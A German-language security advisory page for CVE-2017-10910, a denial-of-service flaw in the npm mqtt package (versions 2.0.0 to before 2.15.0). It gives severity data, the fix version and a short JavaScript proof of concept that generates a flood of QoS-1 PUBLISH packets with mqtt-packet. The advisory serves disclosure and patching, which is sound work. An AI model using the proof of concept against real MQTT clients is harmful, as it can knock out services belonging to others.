Mittel

Denial of Service in mqtt

Veröffentlicht: 28.12.2017
Aktualisiert: 11.10.2026 10:22

Affected versions of mqtt do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.

The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.

Proof of Concept

The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.

var mqttp = require('mqtt-packet');
var packets = [];
for(var i=0; i<=1000;i++){
    packets.push(
        mqttp.generate({
            cmd:'publish',
            topic:Buffer.from('hello'),
            payload:Buffer.from('world'),
            retain: false,
            dup: false, 
            messageId: ++i, 
            qos: 1
        })
    )
}

Recommendation

Update to version 2.15.0 or later.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

Plattform	Paket	Anfällige Versionen	Behoben in
npm-Paket	mqtt	>= 2.0.0, < 2.15.0	2.15.0

Verweise

CVSS-Wert 6.5/10

CVSS-Vektor: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE): CWE-674
Plattform: npm
Paket: mqtt
Veröffentlicht: 28.12.2017
Aktualisiert: 11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-h9mj-fghc-664w - CC BY 4.0

Schwachstellenhistorie: mqtt

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt: 2
Erste → letzte: 12.2017 09.2020
Ohne Fix: 0
In Angriffen ausgenutzt: 0

Verteilung nach Schweregrad

Hoch 1
Mittel 1

Veröffentlichungen pro Jahr

2017: 1
2018: 0
2019: 0
2020: 1
2021: 0
2022: 0
2023: 0
2024: 0
2025: 0
2026: 0

01.09.2020

Denial of Service in mqtt

Hoch · 7.5 CVE-2016-1000242 < 1.0.0 1.0.0
28.12.2017

Denial of Service in mqtt dieser Eintrag

Mittel · 6.5 CVE-2017-10910 >= 2.0.0, < 2.15.0 2.15.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden